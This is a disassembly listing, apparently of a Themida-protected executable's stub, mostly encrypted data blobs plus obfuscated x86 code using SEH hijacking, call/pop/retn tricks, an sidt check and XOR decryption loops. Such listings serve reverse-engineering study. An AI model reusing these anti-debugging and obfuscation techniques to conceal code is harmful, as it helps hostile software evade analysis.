dd 44810424h, 1B0424h, 56460000h, 0BD71D0C3h, 3552EA32h
dd 0AE95300h, 25000000h, 75C2BE03h, 0C90BC1D9h, 0FF685A00h
dd 51000F01h, 0E3D8D8Bh, 15A07FAh, 0FA0FF59Dh, 0C5BD8307h
dd 7FA1Ch, 29840Fh, 8C0F0000h, 6, 35099589h, 9D8907FAh
dd 7FA181Dh, 2484858Dh, 8D8B07FDh, 7FA100Dh, 20E9h, 52526000h
dd 8D615858h, 0FD245A85h, 0FE907h, 8BE60000h, 0EA64D265h
dd 9B11AD14h, 0F40F5861h, 952350E9h, 7FA2D31h, 2427B5FFh
dd 816607FDh, 0FF5E43D7h, 0FD241F95h, 14E907h, 0D28F0000h
dd 57095296h, 7E1A0642h, 0B623F13Ch, 0A5CD0C5Dh, 85895A0Dh
dd 7FD242Bh, 3455BD0Bh, 0B5FF07FAh, 7FD242Bh, 95FFD68Bh
dd 7FD241Bh, 0FFFB8B66h, 0FD242BB5h, 8195FF07h, 8107FA24h
dd 7558C6D1h, 0F66AE915h, 0B966FFFFh, 0B5FFF9FAh, 7FD2F74h
dd 2E759533h, 95FF07FAh, 7FA1799h, 4EDAEF81h, 858B706Dh
dd 7FA29D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0ABC35141h, 0F95EB5B6h, 9840Fh, 8F0F0000h, 3, 0E9FEBF0Fh
dd 6D2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0E9C35545h, 0A19D2977h, 8D07FA0Dh, 0FD2729B5h
dd 0E890F07h, 60000000h, 18D5B589h, 850907FAh, 7FA0851h
dd 8A858D61h, 0F07FCD3h, 680h, 0E9B58900h, 0FF07FA02h
dd 0C98D09D0h, 8907FA1Ch, 0FA218595h, 6A006A07h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 3D86C356h, 7EBA2C6Fh, 14E5B529h, 95FF07FAh, 7FA0EBDh
dd 253D8589h, 0F38B07FAh, 56DD21BFh, 0B18D296Ah, 8D07FA21h
dd 0FCD38A85h, 89D0FF07h, 0FA158D95h, 81006A07h, 4F54FFE1h
dd 0BD95FF52h, 6A07FA0Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 69C3C353h, 8B062203h
dd 2DB589C0h, 8307FA2Fh, 0FA2ACDBDh, 9750007h, 1899BD83h
dd 740007FAh, 8B535019h, 7D9B8C0h, 85890000h, 7FA20C9h
dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h
dd 7D9B853h, 85890000h, 7FA20C9h, 0DF139D8Dh, 0D3FF07FCh
dd 0E680585Bh, 5E97Ch, 9F370000h, 8B7FFB54h, 59958BC0h
dd 5007FA0Bh, 0DF1BD33h, 0D88B07FAh, 89D98A60h, 0FA1F9585h
dd 8D536107h, 0FA28899Dh, 89038B07h, 50438B03h, 8D504389h
dd 0FD2F0D9Dh, 89038B07h, 0C7815B03h, 28655333h, 1701B501h
dd 950107FAh, 7FA2145h, 6A006Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 6B5D8FC3h, 0F210FABEh
dd 0EE85AF5h, 87000000h, 59310C61h, 0D0B4410Bh, 0F2E1D366h
dd 0B18D893Ch, 5A07FA0Fh, 6850Fh, 8D8B0000h, 7FA0CF9h
dd 2F0D858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 8F561EC3h, 0EF0D78D3h, 43B966ADh
dd 81665078h, 6A5617C9h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 858D2E17h, 7FA2889h, 665150F9h
dd 7935EF81h, 53006A59h, 14E857h, 6B2B0000h, 9F4766FCh
dd 759DE164h, 0B05410Ah, 0C885156Dh, 5F5A471Ch, 6AF18A5Ah
dd 998D0100h, 6807FA10h, 1800h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 70C35646h, 53EC24D4h, 0B2207E36h
dd 0FA8B5357h, 2E6195FFh, 858907FAh, 7FA1105h, 15DD8D01h
dd 95FF07FAh, 7FA21ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0CAC35545h, 0F6020B0h, 580h, 0DE816600h
dd 9E8BC12h, 0E9000000h, 0E156C18h, 4E315B18h, 58CA8B66h
dd 12E861h, 0BA9F0000h, 1110EFh, 3EA8132Dh, 0BC5402CAh
dd 0FB707CD6h, 5AC88B66h, 2F74B5FFh, 0FB8B07FDh, 179995FFh
dd 9D8907FAh, 7FA0B15h, 0EE816660h, 8D61FFB6h, 0FA288985h
dd 25BD8B07h, 8B07FA01h, 6A1840h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0ABE3F7C3h, 6A9D34BDh
dd 250D85C7h, 7FAh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0E8A716C3h, 0EA81661Ah
dd 10E95482h, 3000000h, 0ED0A49D4h, 4CDE608Fh, 2809FDAFh
dd 83C5CE72h, 0FA1CC5BDh, 840F0007h, 4Fh, 6840Fh, 958B0000h
dd 7FA2C25h, 8C3Dh, 3A830F00h, 6A000002h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DD2CC355h
dd 64E753CBh, 69958BA9h, 6607FA21h, 0BD29F88Bh, 7FA1015h
dd 13E9h, 3D38B500h, 98h, 1F7830Fh, 85890000h, 7FA0AE5h
dd 243B858Dh, 958B005Bh, 7FA07B5h, 6AD0FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A87431C3h
dd 0F5958B89h, 8D07FA02h, 5B1E8E85h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 14E94Fh, 0B3670000h
dd 0A4B4B564h, 2375ACBFh, 5E42BFDAh, 0EFC26868h, 6660C368h
dd 662CD5B9h, 61E5E3BFh, 8B0FD0FFh, 9, 3850Fh, 0B70F0000h
dd 6AC08BCBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0CB44C356h, 0C21B7A38h, 309FB3F0h
dd 1FFB70Fh, 0FA291195h, 0CDBD8307h, 7FA2Ah, 0BD830975h
dd 7FA1899h, 50197400h, 0B8C08B53h, 0BC6h, 20C98589h, 9D8D07FAh
dd 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h
dd 0BC6h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 40C35646h, 353EED13h
dd 0BF4BD804h, 4880F0Dh, 66000000h, 8980D0BFh, 0FA1509BDh
dd 9E907h, 3BC90000h, 0BD67A944h, 8B90E018h, 0CF8B66C0h
dd 0FFFF883h, 5785h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0FAA03ACCh, 7313BE62h
dd 1E4D85C7h, 7FAh, 85890000h, 7FA1D3Dh, 11AE9h, 5E900h
dd 0F02F0000h, 60E4DAA6h, 0E961D98Bh, 46h, 2D69958Bh, 8D3307FAh
dd 7FA0885h, 0F01F883h, 3185h, 4BF1BF00h, 1FE93F28h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 0CA38C352h, 0B2B6D7FCh, 25B5BD8Bh, 35E907FAh
dd 0B9FFFFF0h, 7F58DE41h, 56C08BF8h, 8359CE8Bh, 0FA2ACDBDh
dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 7DDB8C0h
dd 85890000h, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh
dd 7FA1899h, 50177400h, 7DDB853h, 85890000h, 7FA20C9h
dd 0DF139D8Dh, 0D3FF07FCh, 6A585Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 6DA10FC3h
dd 0A7731F43h, 663349BFh, 0D20CEF81h, 7098D23h, 958907FAh
dd 7FA10B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 2A7F61C3h, 13229E77h, 0F3E991B5h
dd 66000001h, 8DA24CBFh, 0FD2D1185h, 0FE8B6607h, 2F098589h
dd 3FE907FDh, 0E8000000h, 14h, 2595528Ah, 7B92ED3h, 3E27E353h
dd 0F4CF924Fh, 982A6629h, 71D2DA81h, 665A3F05h, 858DCA8Bh
dd 7FD2B19h, 29EA23B9h, 14B54037h, 2F098589h, 8B5307FDh
dd 0FA31A595h, 346A5907h, 1FA1858Dh, 0FF5007FAh, 0FD2F09B5h
dd 0FF006A07h, 0FA2AE595h, 7F88307h, 168840Fh, 8C660000h
dd 4C3F6DBh, 102850Fh, 85C60000h, 7FA0665h, 0B8526856h
dd 0B5FF9CA8h, 7FA08A5h, 3AE2858Dh, 0D0FF07FAh, 68046Ah
dd 6A000010h, 0FF006A64h, 7C8589D0h, 0C607FD2Fh, 0FA066585h
dd 9B684707h, 0FFEC18ACh, 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah
dd 8BD0FFD0h, 6585C6F0h, 4F07FA06h, 2F266168h, 0F5B5FFC6h
dd 8D07FA0Ah, 0FA3AE285h, 8DD0FF07h, 0FD2F789Dh, 286A5307h
dd 85D0FF56h, 0C60075C0h, 0FA066585h, 98684107h, 0FFDB8764h
dd 0FA0AF5B5h, 0E2858D07h, 0FF07FA3Ah, 958589D0h, 0C607FD2Fh
dd 0FA066585h, 0A4684C07h, 0FF80A4E7h, 0FA0AF5B5h, 0E2858D07h
dd 0FF07FA3Ah, 7C9D8BD0h, 8D07FD2Fh, 8D53045Bh, 0FD2F819Dh
dd 6A5307h, 9D8BD0FFh, 7FD2F7Ch, 103C7h, 43C70000h, 20Ch
dd 0A99D8B00h, 0C707FA1Ch, 0FA23A185h, 7, 6A006A00h, 8B006A00h
dd 0FD2F7C9Dh, 6A5307h, 2F78B5FFh, 95FF07FDh, 7FD2F95h
dd 66585C6h, 684507FAh, 92A5F797h, 515B5FFh, 858D07FAh
dd 7FA3AE2h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
dd 2F7C9D8Bh, 43C707FDh, 0Ch, 6A006A00h, 7C9D8B00h, 5307FD2Fh
dd 0B5FF006Ah, 7FD2F78h, 2F9595FFh, 0B5FF07FDh, 7FD2F78h
dd 21AD95FFh, 6A07FAh, 0EBD95FFh, 958B07FAh, 7FA0AB9h
dd 2D65BD8Bh
; ---------------------------------------------------------------------------
cli
pop es
loc_5B97FE: ; CODE XREF: Themida_:005B81B9j
; Themida_:005B81F6j
lea eax, [ebp+7FD64CBh]
push eax
mov edx, [ebp+7FA1131h]
push large dword ptr fs:0
jg loc_5B981A
mov cl, 49h
loc_5B981A: ; CODE XREF: Themida_:005B9812j
mov large fs:0, esp
push 0
push ebx
call sub_5B982C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B982C proc near ; CODE XREF: Themida_:005B9824p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5B982C endp
; ---------------------------------------------------------------------------
dd 0EFAAAE25h, 66995B00h, 0D08B669Ah, 0CE9h, 2D89B600h
dd 0C8B28D02h, 0D1B24CF3h, 35BD8305h, 7FA31h, 5D840Fh
dd 0F5800000h, 0EDBD8366h, 107FA33h, 4D850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BD80E7C3h, 7FD3395h, 24850F00h, 89000000h, 0FA2C219Dh
dd 163E907h, 9E80000h, 55000000h, 0A7ACF1CFh, 0EF4114AEh
dd 0F616060h, 82h, 335A6100h, 0CA8166DBh, 0C0330921h, 21C19D89h
dd 0F4007FAh, 640B073Fh, 58Fh, 0C4830000h, 66F98B04h, 808E25B9h
dd 0FB83C6C5h, 0E840FFFh, 52000000h, 5FD1BF0Fh, 106E9h
dd 81BA6600h, 87E94Dh, 85290000h, 7FA1745h, 0C244C8Bh
dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh
dd 0E855h, 815D0000h, 0FD64EDEDh, 0B8838B07h, 8D000000h
dd 0FD65CC85h, 0B8838907h, 5D000000h, 66C3C033h, 1DEDF781h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 19C35141h
dd 897D8BDEh, 0FA2A699Dh, 13E907h, 9BB20000h, 0D4142C8h
dd 5AC2D53Eh, 3E991C9h, 2FDED5A2h, 0E3858DAEh, 6007FD64h
dd 8CDA8166h, 5061F543h, 829EEF81h, 0FF6400F4h, 35h, 458D8900h
dd 6407FA2Ch, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 5526E3C3h, 9532F6A9h
dd 0B9D7B70Fh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h
dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h
dd 0FA18F985h, 107h, 58F6400h, 0
; ---------------------------------------------------------------------------
add esp, 4
push 0
push edi
call sub_5B9A22
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9A22 proc near ; CODE XREF: Themida_:005B9A1Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5B9A22 endp
; ---------------------------------------------------------------------------
mov ds:0E3D958Bh, al
cli
pop es
xor [ebp+7FA0BD5h], edi
mov eax, eax
pusha
or dl, 91h
jns loc_5B9A51
mov edx, [ebp+7FA34A5h]
loc_5B9A51: ; CODE XREF: Themida_:005B9A45j
popa
cmp dword ptr [ebp+7FA2ACDh], 0
jnz short loc_5B9A64
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B9A7D
loc_5B9A64: ; CODE XREF: Themida_:005B9A59j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+7FA1581h], eax
lea ebx, [ebp+7FCE28Bh]
call ebx ; _iob
pop ebx
pop eax
loc_5B9A7D: ; CODE XREF: Themida_:005B9A62j
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5B9A9D
push eax
push ebx
mov eax, 43Dh
mov [ebp+7FA1581h], eax
lea ebx, [ebp+7FCDF2Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5B9A9D: ; CODE XREF: Themida_:005B9A84j
jmp loc_5B9AB4
; ---------------------------------------------------------------------------
dw 0FB96h
dd 82CDE301h, 0F692B4BBh, 59909EB5h, 4B879324h
; ---------------------------------------------------------------------------
loc_5B9AB4: ; CODE XREF: Themida_:loc_5B9A9Dj
mov cx, 74ABh
sub edx, 4D0784A1h
mov eax, eax
jmp loc_5B9C0C
; ---------------------------------------------------------------------------
db 4, 2 dup(0)
dd 392E3100h, 3031h, 6 dup(0)
db 0
db 2 dup(0), 45h
aXceptionInform db 'xception Information',0
aPleaseContactT db 'Please, contact the software developers with the following codes.'
db ' Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
; ---------------------------------------------------------------------------
loc_5B9C0C: ; CODE XREF: Themida_:005B9AC0j
cmp dword ptr [ebp+7FA1139h], 0
jz loc_5B9D46
lea eax, [ebp+7FCDD43h]
push eax
lea eax, [ebp+7FCDCADh]
push eax
push 80000001h
call dword ptr [ebp+7FCDD53h]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD668Eh]
push eax
push 0
push 0
lea eax, [ebp+7FCDCC1h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD6692h]
push eax
push 0
push 0
lea eax, [ebp+7FCDCD3h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD669Eh]
push eax
push 0
push 0
lea eax, [ebp+7FCDD20h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD66A6h]
push eax
push 0
push 0
lea eax, [ebp+7FCDD3Eh]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD66A2h]
push eax
push 0
push 0
lea eax, [ebp+7FCDD27h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD6696h]
push eax
push 0
push 0
lea eax, [ebp+7FCDD2Fh]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
lea eax, [ebp+7FD6684h]
push eax
lea eax, [ebp+7FD669Ah]
push eax
push 0
push 0
lea eax, [ebp+7FCDD36h]
push eax
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA1F0Dh]
push dword ptr [ebp+7FCDD43h]
call dword ptr [ebp+7FA2341h]
jmp loc_5B9DE8
; ---------------------------------------------------------------------------
loc_5B9D46: ; CODE XREF: Themida_:005B9C13j
cmp dword ptr [ebp+7FA2E1Dh], 0
jz loc_5B9DE8
cmp dword ptr [ebp+7FA33EDh], 0
jnz loc_5B9D71
mov edx, [ebp+7FA1505h]
add edx, 1CF8h
jmp loc_5B9D80
; ---------------------------------------------------------------------------
loc_5B9D71: ; CODE XREF: Themida_:005B9D5Aj
lea edx, [ebp+7FA2889h]
mov edx, [edx+34h]
add edx, 3BD4C340h
loc_5B9D80: ; CODE XREF: Themida_:005B9D6Cj
mov [ebp+7FA17D1h], edx
cmp dword ptr [ebp+7FA17D1h], 0
jz loc_5B9DE8
mov ebx, [ebp+7FA17D1h]
add ebx, 4Ch
mov eax, [ebx]
mov [ebp+7FD668Eh], eax
mov ebx, [ebp+7FA17D1h]
add ebx, 50h
mov eax, [ebx]
mov [ebp+7FD6692h], eax
mov ebx, [ebp+7FA17D1h]
add ebx, 54h
mov eax, [ebx]
mov [ebp+7FD669Eh], eax
mov ebx, [ebp+7FA17D1h]
add ebx, 58h
mov eax, [ebx]
mov [ebp+7FD66A2h], eax
mov ebx, [ebp+7FA17D1h]
add ebx, 5Ch
mov eax, [ebx]
mov [ebp+7FD6696h], eax
loc_5B9DE8: ; CODE XREF: Themida_:005B9D41j
; Themida_:005B9D4Dj ...
cmp dword ptr [ebp+7FA1139h], 0
jnz loc_5B9E02
cmp dword ptr [ebp+7FA2E1Dh], 0
jz loc_5B9E6A
loc_5B9E02: ; CODE XREF: Themida_:005B9DEFj
push dword ptr [ebp+7FD66A6h]
push dword ptr [ebp+7FD669Ah]
push dword ptr [ebp+7FD6696h]
push dword ptr [ebp+7FD66A2h]
push dword ptr [ebp+7FD669Eh]
push dword ptr [ebp+7FD6692h]
push dword ptr [ebp+7FD668Eh]
lea eax, [ebp+7FD6688h]
push eax
lea eax, [ebp+7FD66C0h]
push eax
lea eax, [ebp+7FA0311h]
push eax
call dword ptr [ebp+7FA0DC5h]
add esp, 24h
push 40h
lea eax, [ebp+7FD66AAh]
push eax
lea eax, [ebp+7FA0311h]
push eax
push 0
call dword ptr [ebp+7FA2AE5h]
push 1
call dword ptr [ebp+7FA0EBDh]
loc_5B9E6A: ; CODE XREF: Themida_:005B9DFCj
mov eax, ecx
jmp short loc_5B9E86
; ---------------------------------------------------------------------------
dw 0F317h
dd 9B46h, 4 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B9E86: ; CODE XREF: Themida_:005B9E6Cj
jmp loc_5BA096
; ---------------------------------------------------------------------------
loc_5B9E8B: ; CODE XREF: Themida_:005B9EA0j
pusha
mov ebx, [esp+24h]
call $+5
pop ebp
sub ebp, 7FD6A54h
popa
retn 4
; ---------------------------------------------------------------------------
jmp loc_5B9E8B
; ---------------------------------------------------------------------------
loc_5B9EA5: ; CODE XREF: Themida_:005B9EAAj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B9EA5
; ---------------------------------------------------------------------------
loc_5B9EAF: ; CODE XREF: Themida_:005B9EB4j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B9EAF
; ---------------------------------------------------------------------------
loc_5B9EB9: ; CODE XREF: Themida_:005B9EBEj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B9EB9
; ---------------------------------------------------------------------------
loc_5B9EC3: ; CODE XREF: Themida_:005B9EC8j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B9EC3
; ---------------------------------------------------------------------------
align 10h
dd 0
dd 0C3616000h, 0FFFFF8E9h, 8CB58BFFh, 8107FD6Ah, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 90B53B00h, 0F07FD6Ah
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 17D1858Bh, 188607FAh
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 0BD95FF08h, 5007FA33h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 17D1858Bh, 0C607FAh, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 7FA17D1h, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 7FA1459h, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_5B9FD7
; ---------------------------------------------------------------------------
mov dword ptr [ebp+7FA1459h], 100h
loc_5B9FD7: ; CODE XREF: Themida_:005B9FC8j
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
loc_5BA096: ; CODE XREF: Themida_:loc_5B9E86j
mov ax, ds
test al, 4
jz loc_5BA0CA
mov dword ptr [ebp+7FD6A31h], 1
push eax
sidt fword ptr [esp-2]
pop dword ptr [ebp+7FD6A35h]
lea eax, [ebp+7FD6A2Dh]
lea edi, [ebp+7FD6A35h]
mov [eax], edi
jmp loc_5BA0ED
; ---------------------------------------------------------------------------
loc_5BA0CA: ; CODE XREF: Themida_:005BA09Bj
lea eax, [ebp+7FA2889h]
mov eax, [eax+38h]
add eax, 9B46F317h
mov [ebp+7FD6A2Dh], eax
lea eax, [ebp+7FA2889h]
mov eax, [eax+3Ch]
mov [ebp+7FD6A31h], eax
loc_5BA0ED: ; CODE XREF: Themida_:005BA0C5j
lea eax, [ebp+7FD6A4Ah]
mov [ebp+7FA33BDh], eax
jmp loc_5BA185
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_5BA119
; ---------------------------------------------------------------------------
loc_5BA112: ; CODE XREF: Themida_:005BA11Bj
add [esi], al
xor [esi], al
ror eax, 1
inc esi
loc_5BA119: ; CODE XREF: Themida_:005BA10Dj
cmp esi, edi
jb loc_5BA112
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_5BA141
; ---------------------------------------------------------------------------
loc_5BA13A: ; CODE XREF: Themida_:005BA143j
xor [esi], al
sub [esi], al
ror eax, 1
inc esi
loc_5BA141: ; CODE XREF: Themida_:005BA135j
cmp esi, edi
jb loc_5BA13A
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_5BA174
; ---------------------------------------------------------------------------
loc_5BA161: ; CODE XREF: Themida_:005BA176j
lodsb
cmp al, 2Dh
jz loc_5BA174
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_5BA174: ; CODE XREF: Themida_:005BA15Cj
; Themida_:005BA164j
or ecx, ecx
jnz loc_5BA161
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_5BA185: ; CODE XREF: Themida_:005BA0F9j
lea eax, [ebp+7FD6CBDh]
mov [ebp+7FA2905h], eax
lea eax, [ebp+7FD6CE5h]
mov [ebp+7FA0EE1h], eax
lea eax, [ebp+7FD6D0Dh]
mov [ebp+7FA107Dh], eax
call sub_5BA1BC
or [esi+1Bh], ah
db 2Eh
push ecx
aas
and eax, 0B8C33935h
hlt
; ---------------------------------------------------------------------------
adc ah, ch
; =============== S U B R O U T I N E =======================================
sub_5BA1BC proc near ; CODE XREF: Themida_:005BA1A9p
jo loc_5BA1C5
add dl, 0B4h
loc_5BA1C5: ; CODE XREF: sub_5BA1BCj
pop eax
mov dx, ax
add eax, 7333h
mov edx, eax
mov ecx, 1CA3h
push eax
jo loc_5BA1E0
sub dh, 0F2h
loc_5BA1E0: ; CODE XREF: sub_5BA1BC+1Bj
pop ebx
loc_5BA1E1: ; CODE XREF: Themida_:005BA245j
mov esi, [eax]
and edx, 3D99BE8Fh
sub esi, 37B96F00h
call sub_5BA1F9
adc [eax+20h], bh
inc esi
xchg eax, edi
sub_5BA1BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BA1F9 proc near ; CODE XREF: sub_5BA1BC+33p
; FUNCTION CHUNK AT 005BA289 SIZE 0000005F BYTES
stc
pop ebx
sub esi, 66881D24h
xor esi, 4D5C6D48h
jbe near ptr loc_5BA21C+2
call near ptr loc_5BA219+1
cmpsb
imul ebp, [ecx-65h], 19h
jz short loc_5BA289
loc_5BA219: ; CODE XREF: sub_5BA1F9+14p
add esp, [esi-75h]
sub_5BA1F9 endp ; sp-analysis failed
loc_5BA21C: ; CODE XREF: sub_5BA1F9+Ej
rcr dword ptr [ebx-77h], cl
xor al, bh
sub eax, 2
dec eax
dec eax
mov bl, 0F1h
sub ecx, 1
jnz loc_5BA241
add bh, 50h
jmp loc_5BA259
; ---------------------------------------------------------------------------
dd 95EA474Bh
db 2Dh
; ---------------------------------------------------------------------------
loc_5BA241: ; CODE XREF: Themida_:005BA22Ej
mov bx, 0D8CEh
jmp loc_5BA1E1
; ---------------------------------------------------------------------------
dw 0DA6Eh
dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh
; ---------------------------------------------------------------------------
scasb
loc_5BA259: ; CODE XREF: Themida_:005BA237j
pusha
and cx, 2A7Dh
mov eax, eax
push 0
push ebp
call sub_5BA26C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA26C proc near ; CODE XREF: Themida_:005BA264p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5BA26C endp
; ---------------------------------------------------------------------------
dd 11FA7933h, 0B9A47D4Ah, 4EFA4106h
db 83h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5BA1F9
loc_5BA289: ; CODE XREF: sub_5BA1F9+1Ej
mov ebp, 7FA2ACDh
add [ebp+9], dh
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5BA2B3
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+7FA20C9h], eax
lea ebx, [ebp+7FCE224h]
call ebx ; _iob
pop ebx
pop eax
loc_5BA2B3: ; CODE XREF: sub_5BA1F9+9Fj
cmp dword ptr [ebp+7FA1899h], 0
jz short loc_5BA2D3
push eax
push ebx
mov eax, 40Eh
mov [ebp+7FA20C9h], eax
lea ebx, [ebp+7FCDF13h]
call ebx ; _iob
pop ebx
pop eax
loc_5BA2D3: ; CODE XREF: sub_5BA1F9+C1j
mov dx, si
